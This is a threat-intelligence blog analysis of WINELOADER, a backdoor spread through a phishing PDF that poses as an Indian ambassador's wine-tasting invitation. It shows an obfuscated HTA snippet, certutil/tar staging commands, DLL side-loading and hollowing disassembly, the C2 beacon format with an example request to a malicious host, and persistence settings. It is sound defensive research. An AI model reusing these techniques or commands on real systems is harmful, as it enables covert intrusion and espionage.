

# WINELOADER Analysis | ThreatLabz

By Sudeep Singh, Roy Tay

Published: 2024-02-27 · Archived: 2026-04-05 13:53:51 UTC

## Technical Analysis

In this section, we provide a detailed analysis of each component of the attack chain initiated when a victim receives and clicks on the link within the PDF.

### PDF analysis

The PDF file is a fake invitation to a wine-tasting event purported to take place at the Indian ambassador's residence on February 2nd, 2024. The contents are well-crafted to impersonate the Ambassador of India. The invitation contains a link to a fake questionnaire, which kickstarts the infection chain.

The malicious link in the PDF invitation redirects users to a compromised site, `hxxps://seeceafc cleaners[.]co[.]uk/wine.php`, that proceeds to download a ZIP archive containing an HTA file - **wine.hta**.

Figure 2 below shows the contents of the PDF file.

भारतीय राजदूत  
Ambassador of India



No. 15/634/2024

The Ambassador of India has the pleasure to invite the staff of the Diplomatic mission for a wine tasting event that will take place at the Indian Residence, on Friday, February 2<sup>th</sup>. **points to the malicious link**

To participate in the event, please fill out a [questionnaire](#) for each employee and send it by a return email within the next few days. Invitations will be send in due time.

You can find all the necessary information about the event, as well as the form for participation [on our website](#).



Figure 2: The PDF invitation showcasing the malicious link.

A quick analysis of the PDF file's metadata reveals that it was generated using LibreOffice version 6.4, and the time of creation was January 29th, 2024, at 10:38 AM UTC.

### HTA file analysis

The HTA file downloaded in the previous section contains obfuscated JavaScript code, which executes the next stage of malicious activities. The obfuscation technique used in the code exhibits patterns that match those of the publicly available obfuscator **obfuscator.io**.

Figure 3 below shows a preview of the code inside the HTA file. Decoy content is displayed to the victim to disguise malicious activity. This content is similar to what was displayed in the original PDF (Figure 2 above) and includes information about the wine-tasting event in February 2024.

```

<!DOCTYPE html>
<html>
<head>
<meta http-equiv="X-UA-Compatible" content="IE=11">
<HTA:APPLICATION ID="WineEvent"
APPLICATIONNAME="Data">
<script language="javascript">
var _0x486a61=_0x12e9;function _0x12e9(_0x180cf2,_0x58a24a){var _0x24cc33=_0x24cc();_0x12e9=function(_0x12e935,_0x11fde5){_0x12e935=_0x12e935+_0x11fde5;return _0x12e9(_0x180cf2,_0x58a24a)};return _0x24cc33}
</script>
</head>
<body>
<div style="max-width: 800px;
margin-left: auto;
margin-right: auto;
display: block;">
<div>
<p><span style="font-size: 18px;">No. 263/137/2024</span></p>
<p><br></p>
<p><span style="font-size: 18px;">The Ambassador of India has the pleasure to invite the staff of the Diplomatic mission for a wine tast:
</span></p>
<p><span style="font-size: 18px;">The event will be held at the Indian Residence.</span></p>
<p><span style="font-size: 18px;">Date of the event: on Friday, the February 2th at 6:30 p.m.</span></p>
<p><span style="font-size: 18px;">Dress code: business smart</span></p>
<p>
</div>
</body>
</html>

```

Figure 3: Obfuscated JavaScript code inside the HTA file.

The HTA file performs the following key functions:

- Downloads a Base64 encoded text file from the URL: seeceafcleaners[.]co[.]uk/cert.php
- Saves the text file to the path: C:\Windows\Tasks\text.txt
- Uses certutil.exe to Base64 decode the text file and write the result to a ZIP archive with the path: C:\Windows\Tasks\text.zip. The command used is: certutil -decode C:\Windows\Tasks\text.txt C:\Windows\Tasks\text.zip
- Extracts the contents of the ZIP archive to the path: C:\Windows\Tasks\. The command used is: tar -xf C:\Windows\Tasks\text.zip -C C:\Windows\Tasks\. The ZIP archive contains two files named sqlwriter.exe and vcruntime140.dll. Here, sqlwriter.exe is the legitimate binary signed by Microsoft and vcruntime140.dll is the malicious DLL crafted by the attacker which will be side-loaded automatically when sqlwriter.exe is executed. Per our research, sqlwriter.exe has never been abused in-the-wild by any threat actor for DLL side-loading (at least to the best of our knowledge). This implies that the threat actor in this case put in extra effort to identify a signed Microsoft executable vulnerable to DLL side-loading.
- Executes sqlwriter.exe from the path: C:\Windows\Tasks\ which will kick start the infection chain.

### WINELOADER binary analysis

When executing sqlwriter.exe, it loads a malicious DLL named vcruntime140.dll from the same directory using DLL side-loading. The exported function `set_se_translator` is then executed. This function decrypts the embedded WINELOADER core module within the DLL using a hardcoded 256-byte RC4 key before executing it. This is shown in the screenshot below.

```

      _set_se_translator
180005652 48 83 ec 08      SUB      RSP,0x8
180005656 48 8d 0d 41 0e 00 00  LEA      RCX,[module_start_addr]
18000565d 48 c7 c2 28 80 00 00  MOV      RDX,0x8028
180005664 e8 65 0b 00 00      CALL    rc4_decrypt_module
180005669 48 8d 0d 2e 8e 00 00  LEA      RCX,[DAT_18000e49e]
180005670 48 8d 05 27 0e 00 00  LEA      RAX,[module_start_addr]
180005677 48 89 05 30 8e 00 00  MOV      qword ptr [ptr_to_module_start],RAX
18000567e 48 c7 05 2d 8e 00 00 8c  MOV      qword ptr [module_entrypoint],0x6a8c
      6a 00 00
180005689 48 c7 05 2a 8e 00 00 28  MOV      qword ptr [module_length],0x8028
      80 00 00
180005694 e8 91 78 00 00      CALL    start_module_injection
180005699 48 83 c4 08      ADD      RSP,0x8
18000569d c3              RET

```




Figure 4: Code section that decrypts and executes the WINELOADER core module.

Each module consists of configuration data (e.g., C2 polling interval), an RC4 key, and encrypted strings, followed by the module code. Part of the decrypted WINELOADER core module is shown in Figure 5 below.

```

C0 D4 01 00 00 C2 poll interval 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
16 6F 18 23 34 FB 55 AD CC AF DB 7B 96 01 DC FF
4F E0 57 72 FB 37 A4 0F 83 26 2D 13 61 D5 B9 13
5C 18 F2 A8 4B 77 27 B8 4E BF 7C 59 8B BF E2 BE
94 FF 71 60 33 28 44 4A 67 63 2B AC E2 F8 09 E8
F0 26 84 D5 A6 7B 256 byte RC4 key 8C AB 43 6C 2F 1F
36 EE E7 CF 7E 0F B7 33 E2 34 6D 01 11 E3 57 65
75 4B 39 D6 BF BD 3E 3F 50 7B E9 9E CF BD C8 22
EC 81 98 2D 60 7C BF 0C 5C C2 9A 87 40 EC D5 68
16 04 41 95 D3 DF A3 B1 B3 3C EA EF 7E C3 12 C1
0C B5 F6 CF 0E 4C 07 F0 79 C8 7D 13 E4 4F 0F E1
D2 7B D0 65 C5 55 5A 3D 56 67 63 49 6D 87 E2 ED
59 57 4D C1 4B F6 60 8A 3B B9 E3 C0 57 2A E9 23
82 AC 73 00 D8 5F 2B AF 38 CB 00 DD FE 0F 88 DB
D4 A1 07 21 4B C8 7F DD 89 BD 51 BD 4D 09 30 9B
1F 4D 88 68 0F D1 D7 DA 70 1F B5 4D 68 B2 0F 7E
B3 0E 92 4A AF A5 A2 AC FD 16 26 87 B0 7C 60 4C
05 00 00 00 00 00 00 00 6C C2 FE 09 AE 00 00 00
0C 00 00 00 00 00 00 00 12 D4 FD 06 CB 64 A7 4C
0C BD F3 FC 00 00 00 00 0B Encrypted string ".dll" 00 00
07 DE FB 11 FA 7F A6 79 1F B7 94 00 00 00 00 00
0F 00 00 00 00 00 00 00 14 CF E0 11 DB 76 B8 4C
0C BC E0 99 48 94 15 00 0E 00 00 00 00 00 00 00
1E A6 B8 65 80 17 B0 1C 12 D3 F8 FC 2B E0 00 00
    
```



Figure 5: Data structure containing relevant configuration, RC4 key, encrypted strings, and the module.

WINELOADER employs the following techniques to evade detection:

- Sensitive data is encrypted with a hardcoded 256-byte RC4 key. The sensitive data includes:
  - The core module and subsequent modules downloaded from the C2 server
  - Strings (e.g. DLL filenames and API import function names)
  - Data sent and received from the C2 server
- Some strings are decrypted on use and re-encrypted shortly after.
- Memory buffers for storing results from API calls or decrypted strings are zeroed after use.

DLL hollowing is then used to inject WINELOADER into a randomly selected DLL from the Windows system directory. The implementation is similar to the one presented by SECFORCE in their [blog](#). WINELOADER includes additional randomization code to ensure that different DLLs are chosen for each instance of DLL hollowing (see Figure 6).

```

18000806f 44 8b a4 24 00 03 00 00 MOV R12D,dword ptr [RSP + 0x300]
Skip this DLL if file size is smaller than payload size of 32808 bytes.
180008077 4c 39 26 CMP qword ptr [RSI],R12
18000807a 77 2d JA find_next_dll
Generate random 32 bits in EAX with bcryptprimitives.dll!ProcessPrng
18000807c e8 04 f8 ff ff CALL generate_random_32_bits
180008081 69 c0 ff fe fe fe IMUL EAX,EAX,0xFEFEFEFF
180008087 05 80 80 80 00 ADD EAX,0x808080
18000808c 3d 00 01 01 01 CMP EAX,0x1010100
180008091 77 16 JA find_next_dll
Select this DLL for injection. RCX points to the DLL name
180008093 48 8d 8c 24 0c 03 00 00 LEA RCX,[RSP + 0x30c]
18000809b e8 c0 f1 ff ff CALL get_dll_imagebase
1800080a0 48 85 c0 TEST RAX,RAX
1800080a3 0f 84 ad 00 00 00 JZ LAB_180008156
    
```

Randomization Code




Figure 6: The randomization code used when selecting a Windows system DLL for DLL hollowing.

WINELOADER is not injected into the following DLLs as they contain exported functions used by the malware:

- advapi32.dll
- api-ms-win-crt-math-l1-1-0.dll
- api-ms-win-crt-stdio-l1-1-0.dll
- bcryptprimitives.dll
- iphlpapi.dll
- kernel32.dll
- kernelbase.dll
- mscoree.dll
- ntdll.dll
- ole32.dll
- rpcrt4.dll
- shlwapi.dll
- user32.dll
- wininet.dll

WINELOADER will inject itself into another randomly selected DLL again via DLL hollowing before it sends the first beacon request to the C2 server.

The beacon request is an HTTP GET request containing a request body, which is unusual for GET requests. All requests to the C2 server use the same User-Agent, Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.1) Gecko/20100101 Firefox/86.1, hardcoded into the sample itself.

The body of the HTTP GET request is encrypted with the same 256-byte RC4 key and the fields are as follows. We have appended a question mark to fields that we are unable to conclusively verify due to the limited data collected. This information is available in the table below.

Offset	Length	Name	Description
0x0	2	Length of padding bytes (n)	This value is randomized (min: 255, max: 65535), stored in little-endian (LE).

Offset	Length	Name	Description
0x2	<i>n</i>	Padding bytes	Padding bytes are randomly generated with the ProcessPrng API.
0x2 + <i>n</i>	8	Campaign ID?	5F D5 97 93 ED 26 CB 5A in the analyzed sample.
0xa + <i>n</i>	8	Session ID?	Randomly generated on execution.
0x12 + <i>n</i>	8	Local IP address	The local IP address of the infected machine.
0x20 + <i>n</i>	512	Parent process name	In Unicode
0x220 + <i>n</i>	512	User name	In Unicode
0x420 + <i>n</i>	30	Machine name	In Unicode
0x43e + <i>n</i>	4	Parent process ID	In little-endian
0x442 + <i>n</i>	1	Parent process token elevation type	Information about the privileges of the token linked to the parent process.
0x443 + <i>n</i>	8	Polling interval for C2 requests	C0 d4 01 00 00 00 00 00 in the analyzed sample, translates to 120,000 ms or 2 mins between requests.
0x44b + <i>n</i>	1	Request type?	1 for beacon, 2 for status update
0x44c + <i>n</i>	8	Length of message	In little-endian. 0 for beacon requests
0x454 + <i>n</i>	8	Unknown?	Observed to match the value of the request type field.
0x45c + <i>n</i>	8	Module ID?	00 00 00 00 00 00 00 00 for the core module and 6B 19 A8 D2 69 2E 85 64 for the persistence module.
0x464 + <i>n</i>	Varies	Message	Only observed for type 2 requests.

Table 1: WINELOADER C2 beacon request fields

An example beacon request is shown below. The value of the Content-Length header varies across requests, as the padding length is randomized with a minimum of 1,381 bytes.

```
GET /api.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.1) Gecko/20100101 Firefox/86.1
Host: castechtools.com
Content-Length: 54674
```

54,674 bytes of binary data in the request body (not shown here)

The same RC4 key is then used to decrypt the response from the C2 server. The fields for the decrypted response are shown in the table below.

Offset	Length	Name	Description
0x0	2	Length of padding bytes ( <i>n</i> )	This value is stored in little-endian (LE).
0x2	<i>n</i>	Padding bytes	Unused bytes
0x2 + <i>n</i>	8	Campaign ID?	5F D5 97 93 ED 26 CB 5A in the analyzed sample
0xa + <i>n</i>	1	Command	Command from C2
0xb + <i>n</i>	Varies	Command data	Binary data for command

Table 2: WINELOADER C2 response fields

The core module supports three commands:

1. Execute modules from the C2 either synchronously or asynchronously (via CreateThread)
2. Inject itself into another DLL
3. Update the sleep interval between beacon requests

During our research, we obtained a persistence module from the C2 server. This module copies sqlwriter.exe and vcruntime.dll into the C:\Windows\Tasks directory and creates a scheduled task named MS SQL Writer with the description SQL Server VSS Writer 64-bit to execute C:\Windows\Tasks\sqlwriter.exe daily.

The persistence module offers an alternative configuration to establish registry persistence at HKEY\_CURRENT\_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MS SQL Writer.

After establishing persistence for WINELOADER, the module sends an HTTP POST request to notify the C2 server about the completed task. The request body mirrors the structure of the beacon request.

## Explore more Zscaler blogs